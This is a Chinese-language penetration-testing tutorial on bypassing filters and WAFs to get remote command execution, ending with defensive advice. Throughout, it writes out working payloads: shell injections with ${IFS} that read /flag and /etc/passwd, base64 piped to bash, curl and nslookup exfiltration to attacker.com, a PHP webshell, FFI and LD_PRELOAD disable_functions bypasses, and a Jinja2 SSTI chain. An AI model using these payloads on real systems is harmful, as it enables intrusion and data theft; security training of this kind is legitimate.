1. 项目概述为什么RCE绕过是攻防实战的“硬骨头”在网络安全攻防演练和渗透测试的实战中远程命令执行RCE漏洞的发现与利用往往是评估一个系统安全性的关键指标。一个成功的RCE利用意味着攻击者可以直接在目标服务器上执行任意命令其危害性不言而喻。然而现实世界中的防御体系远比理想化的靶场环境复杂。安全工程师们部署了Web应用防火墙WAF、入侵检测系统IDS、命令执行监控脚本等一系列防护措施它们像一道道关卡试图拦截那些特征明显的攻击载荷。这就引出了我们今天的核心话题RCE绕过。这不仅仅是简单地将system($_GET[‘cmd’])换成shell_exec($_POST[‘c’])而是一场围绕语法、上下文、环境特性和防御逻辑的深度博弈。理解并掌握RCE绕过技术对于渗透测试人员而言是提升攻击深度和隐蔽性的必修课对于防御方来说则是构建更立体、更智能防护体系的知识基础。本文将从底层原理出发拆解常见的过滤与拦截机制并深入多个实战场景分享从基础到高级的绕过思路、技巧与个人踩坑实录。2. RCE绕过核心原理理解防御者的“过滤网”要绕过防御首先必须理解防御是如何工作的。大多数针对RCE的防护其核心逻辑可以归结为几个层面关键词过滤、特殊字符过滤、上下文限制以及行为监控。2.1 命令注入与代码执行的本质差异首先需要厘清一个概念我们常说的RCE在Web安全中通常细分为操作系统命令注入和服务器端代码执行。两者虽有交集但绕过思路差异显著。命令注入攻击者能够注入操作系统命令通常发生在调用系统函数如PHP的system()、exec() Python的os.system()的参数中。防御方往往过滤;、、|、\n等命令连接符以及cat、ls、whoami等敏感命令。代码执行攻击者能够注入服务器端脚本代码如PHP、Python、JSP代码。防御方则可能过滤eval()、assert()等危险函数名以及反引号、$_POST、$_GET等超全局变量。你的绕过策略必须首先判断漏洞的上下文你注入的是一段将要被系统Shell解释的字符串还是一段将被脚本引擎如Zend引擎、CPython执行的代码。2.2 常见过滤机制深度剖析1. 黑名单过滤这是最原始也最常见的防护。WAF或自定义防护脚本会维护一个敏感词列表如union,select,sleep,bash,python,eval。一旦检测到请求参数中存在这些词请求即被阻断。绕过思路同义词/替代函数替换、大小写变换、双写绕过、插入注释或特殊字符分割关键词。例如过滤了cat可以尝试tac反向输出、more、less、head、tail甚至利用/bin/c?t这样的通配符在某些环境下可行。过滤了php代码可以用pHp、pHP大小写混淆或者使用create_function、preg_replace的/e修饰符在旧版PHP中等替代执行方式。2. 特殊字符过滤防御方会转义或直接删除命令连接符; |和空格、重定向符 等。绕过思路空格绕过在Bash中可以用${IFS}、$IFS$9、%09Tab的URL编码、、或直接连写cat/etc/passwd来替代空格。在Windows中可以用,代替某些情况下的空格。命令分隔符绕过;被过滤可以尝试%0a换行、%0d回车、前一条成功则执行后一条、||前一条失败则执行后一条。在某些复杂命令中用%0a注入换行符是极其有效的方法。引号与转义如果参数被引号包裹如system(“ping ” . $_GET[‘host’])你需要先闭合引号。若引号被转义可以尝试利用反斜杠本身进行转义或使用不需要引号的Payload。3. 正则表达式匹配与长度限制高级WAF会使用正则表达式进行模式匹配例如匹配/bin/bash、/etc/passwd这类路径。有些防御则会限制参数值的长度。绕过思路通配符巧用Linux的通配符?和*是神器。/???/??sswd可能匹配到/etc/passwd。/usr/bin/wh?am?可能匹配到whoami。变量拼接利用Shell变量拼接命令。例如ac;bat;c/etc/passwd;$a$b $c。这能有效拆散敏感字符串绕过正则匹配。短标签与编码对于代码执行使用PHP短标签?或者利用iconv、base64编码后再解码执行。例如system(base64_decode(‘Y2F0IC9ldGMvcGFzc3dk’))。长度限制下可以考虑将命令分段写入文件再执行。4. 上下文限制与沙箱逃逸这是更高级的防护。你的输入可能被限制在某个“沙箱”或特定上下文中例如只能执行某个白名单内的命令或者代码在一个禁用了危险函数的disable_functions列表的PHP环境中执行。绕过思路利用环境特性寻找沙箱未覆盖的“原生”功能。例如在PHP中即使system、shell_exec被禁用仍可能利用LD_PRELOAD劫持、ImageMagick的漏洞、FFI扩展PHP 7.4或COM组件Windows来执行命令。序列化与反序列化漏洞如果存在反序列化点可以构造复杂的反序列化链POP Chain最终触发命令执行。这完全绕过了对传统函数调用的过滤。利用应用程序自身逻辑有些应用会调用外部程序处理数据如转换图片、解析文档。通过控制输入文件的内容可能实现参数注入或模板注入如SSTI从而在应用自身权限下执行命令。注意所有绕过测试必须在合法授权范围内进行。未经授权的测试是违法行为。3. 实战场景下的高级绕过技巧理解了原理我们进入实战。下面我将结合几个典型场景拆解具体的绕过过程。3.1 场景一基于黑名单过滤的命令注入绕过假设存在一个简单的命令注入点ping -c 3 {user_input}后端使用popen()或system()执行。防御方过滤了空格、分号、cat、flag等关键词。我们的目标读取服务器上的/flag文件。初始尝试直接注入;cat /flag会被拦截。分步绕过绕过命令分隔符;和被过滤尝试%0a换行符。Payload:%0acat /flag。但cat和/flag可能被匹配。绕过关键词使用tac代替cat%0atac /flag。如果flag被过滤尝试通配符%0atac /fla?或%0atac /fla*。如果路径被过滤尝试使用变量%0aafl;bag;tac /$a$b。绕过空格如果空格也被过滤上述Payload依然失败。我们需要将空格替换为${IFS}。Payload:%0atac${IFS}/fla?。最终Payload考虑到多重过滤一个较为健壮的Payload可能是%0atac${IFS}/fla?。如果仍然不行可以尝试将命令写入脚本再执行%0aecho${IFS}“Y2F0IC9mbGFnCg”|base64${IFS}-d|bash。这里先将cat /flagbase64编码然后解码并通过管道传给bash执行。实操心得在实际测试中Burp Suite的Intruder模块非常适合用于枚举和测试。你可以将{IFS}、%09、$IFS$9、、等作为空格替代符的字典将cat、tac、more、less、head、tail、nl、od等作为命令字典进行批量测试。很多时候防御规则并不完善一种方法失败另一种可能就成功了。3.2 场景二受限环境下的无回显RCE盲注更常见的情况是命令执行了但没有回显No Output。这就是所谓的“盲命令注入”。我们的目标变成了证明命令执行并尽可能外带数据。技术手段时间延迟Time-based通过执行sleep命令来判断。Payload:; sleep 5。如果页面响应延迟了5秒说明注入成功。Linux下还可以用ping -c 5 127.0.0.1来制造延迟。DNS外带DNS Exfiltration这是非常隐蔽有效的方法。利用命令执行发起DNS查询将数据放在子域名中由攻击者控制的DNS服务器接收。假设我们控制了域名attacker.com。要外带whoami的结果例如是root可以执行nslookup $(whoami).attacker.com。更通用的方式curl http://$(cat /etc/passwd | base64 | tr -d ‘\n’).attacker.com。这里将/etc/passwd内容base64编码后作为子域名发出。在自己的DNS日志中就能看到编码后的数据。HTTP请求外带HTTP Exfiltration利用curl或wget将数据发送到攻击者服务器。curl -X POST http://attacker-server.com/collect -d “data$(cat /flag | base64)”如果命令中有特殊字符需要做好URL编码。绕过技巧在盲注场景下过滤可能更侧重于“输出”而非“执行”。但如果sleep、curl、nslookup被禁用呢寻找替代品用python -c “import time;time.sleep(5)”或perl -e ‘sleep 5’替代sleep。利用已有网络工具ping -c 5本身有延迟telnet、ssh甚至mail命令都可能用于与外部交互。写入文件再间接读取如果Web目录可写可以将命令结果写入一个文件然后通过正常的Web路径访问。例如; whoami /var/www/html/result.txt然后访问http://target.com/result.txt。3.3 场景三PHP代码执行漏洞的进阶绕过假设我们发现了一个eval($_REQUEST[‘code’])的点但服务器配置了严格的disable_functions禁用了所有命令执行函数并且WAF过滤了system、shell_exec、反引号等关键词。目标在受限环境中执行任意PHP代码或系统命令。思路演进第一步信息收集。先执行phpinfo();查看disable_functions列表、已加载的扩展、open_basedir限制等。这能为我们指明可利用的方向。第二步寻找未禁用函数。即使命令执行函数被禁用以下方向仍可能有用文件操作file_put_contents/file_get_contents。可以写一个Webshell到可访问目录。例如file_put_contents(‘shell.php’, ‘?php eval($_POST[1]);?’);。序列化/反序列化如果存在unserialize()点可以构造POP链。但这需要其他条件配合。扩展漏洞利用Imagick如果安装了ImageMagick扩展历史上存在多个命令注入漏洞如CVE-2016-3714。可以尝试上传一个恶意构造的图片文件触发漏洞。FFIPHP 7.4如果启用了FFI扩展可以直接调用C库函数包括system。$ffi FFI::cdef(“int system(const char *command);”, “libc.so.6”); $ffi-system(“id /tmp/test”);。这是非常强大的绕过方式。COMWindows在Windows服务器上如果启用了COM扩展可以new COM(“WScript.Shell”)-Run(“calc.exe”)。第三步利用环境变量与进程劫持LD_PRELOAD。这是Linux下绕过disable_functions的经典方法但需要满足一定条件能上传共享对象.so文件并能通过mail()或error_log()等函数启动新进程。原理通过putenv设置LD_PRELOAD环境变量指向一个我们编写的恶意.so文件。当后续通过mail()等函数启动子进程时我们的.so会被加载并执行其中的__attribute__ ((constructor))函数从而实现命令执行。实操步骤复杂需要编译.so文件并上传。通常已有现成的工具和脚本如ant、bypass_disablefunc.php可以利用。个人踩坑记录在一次内部测试中遇到一个禁用了几乎所有函数的环境但proc_open()仅被部分禁用只允许执行白名单命令。我通过proc_open打开了/bin/sh但无法直接传参。最终利用的是proc_open返回的管道向sh的标准输入写入命令并从标准输出读取结果模拟了一个完整的交互式Shell。这提醒我们不要只看函数是否在disable_functions列表里还要看它的参数是否被安全地处理。4. 工具辅助与自动化绕过思路手动构造Payload效率低下尤其在面对复杂过滤时。以下工具和思路可以提升效率1. 模糊测试Fuzzing工具Burp Suite Intruder如前所述是Payload迭代测试的利器。可以自定义Payload位置和字典。ffuf、wfuzz命令行下的Web模糊测试工具速度快适合批量测试参数和目录。自定义字典生成根据过滤逻辑用Python脚本动态生成Payload字典。例如生成所有可能的大小写变种、双写变种、插入特殊字符的变种。2. 编码与混淆工具对于代码执行可以使用在线或离线的PHP/JavaScript混淆工具将代码变形绕过简单的关键词匹配。利用不同编码Base64、Hex、Rotor13等并进行多层嵌套。3. 语义分析绕过针对现代WAF高级WAF会进行语法/语义分析而不仅仅是字符串匹配。例如它知道eval(base64_decode(‘…’))最终还是会执行解码后的代码。绕过这类WAF需要更巧妙的技巧利用冷门语法特性例如PHP中的可变函数$a ‘sys’.’tem’; $a(‘whoami’);或者利用create_function创建匿名函数。拆分与重组将关键Payload拆分成多个参数在服务器端拼接。或者通过多个请求分步写入文件最后再包含执行。逻辑混淆编写一段复杂的、但功能等价的无害代码诱骗WAF核心Payload隐藏在复杂的逻辑或运算中。5. 防御视角如何构建更有效的RCE防护从攻击中学习防御。了解了这么多绕过手法作为防御方应该如何做白名单优于黑名单对于命令执行如果业务必须调用系统命令应严格使用白名单机制只允许执行预定义的、安全的命令和参数。对于代码执行如模板渲染应使用沙箱环境严格限制可访问的类和函数。最小权限原则运行Web服务的用户如www-data、nobody应具有尽可能低的权限。避免使用root权限运行应用。这样即使被RCE攻击者能造成的破坏也有限。输入验证与规范化对所有用户输入进行严格的验证和规范化。不仅仅是过滤而是定义合法的字符集和格式如IP地址、主机名。对于必须传入命令的参数进行严格的转义如使用escapeshellarg()。禁用危险函数在PHP中在php.ini中配置disable_functions。但要知道这不是银弹需结合其他措施。部署多层次WAF商业WAF或开源的ModSecurity可以提供基于规则和行为的防护。但规则需要持续更新和维护以应对新的绕过手法。命令执行监控与审计在服务器上部署HIDS主机入侵检测系统监控异常进程的创建尤其是由Web服务用户创建的/bin/sh、bash、python等、敏感文件的读取和网络外连行为。定期更新与漏洞修复保持操作系统、Web服务器、编程语言解释器及所有应用组件的最新版本及时修补已知漏洞。6. 实战案例复盘与疑难问题排查案例一次曲折的SSTI到RCE的绕过在一次测试中我发现一个使用Jinja2模板的Python Flask应用存在SSTI服务器端模板注入。但直接注入{{ config }}或{{ ”.__class__ }}被WAF拦截。WAF似乎匹配了{{、}}和__class__等关键词。我的绕过过程确认漏洞点首先用{{ 7*7 }}测试返回49确认SSTI存在但{{ config }}被阻。尝试编码绕过使用Jinja2的|string过滤器或URL编码无效。利用属性访问的多种形式在Jinja2中除了点号.访问属性还可以用[]。{{ request[‘__class__’] }}可能被检测但可以用变量拼接{% set a ‘__cla’ %}{% set b ‘ss__’ %}{{ request[a~b] }}。这里用~进行字符串连接。最终利用链目标是执行命令。Jinja2沙箱通常禁用了os模块。但我发现应用注册了一个自定义过滤器到全局环境。通过{{ ”.__class__.__mro__[1].__subclasses__() }}遍历所有子类找到一个包含subprocess.Popen的类需要仔细搜索列表。最终构造Payload通过这个类成功执行了系统命令。整个过程完全避开了对os、system等关键词的检测。排查技巧实录“为什么我的Payload没反应”首先用最简单的Payload如echo 123或sleep 2测试漏洞是否真实存在以及是否有回显/延迟。如果没有可能是盲注。“WAF总是拦截怎么办”开启Burp的Logger或WAF的调试模式如果有权限查看WAF到底匹配了哪条规则。降低Payload的“攻击性”先注入一个无害但可识别的字符串如一个随机UUID确认能到达后端再逐步添加特征。“命令执行了但没权限”这是常见问题。立即执行whoami和id命令查看当前用户和组。然后检查当前目录pwd以及可写目录find / -type d -writable -user $(whoami) 2/dev/null。寻找提权机会或者看看当前权限下能读取什么敏感信息。“出网流量被阻断如何盲注”如果DNS和HTTP外带都失败考虑时间延迟盲注的变种通过命令执行强度影响一个原本就存在的、可观测的副作用。例如如果网站有上传功能可以尝试执行一个消耗大量CPU或磁盘IO的命令观察网站响应是否变慢从而推断命令是否执行。RCE绕过的艺术在于对系统、语言、网络和防御逻辑的深刻理解。它没有一成不变的答案需要测试者具备丰富的知识储备、耐心和创造力。每一次成功的绕过都是对攻击链和防御体系的一次深刻洞察。对于安全从业者而言持续学习这些技术不是为了破坏而是为了构建出真正固若金汤的防御。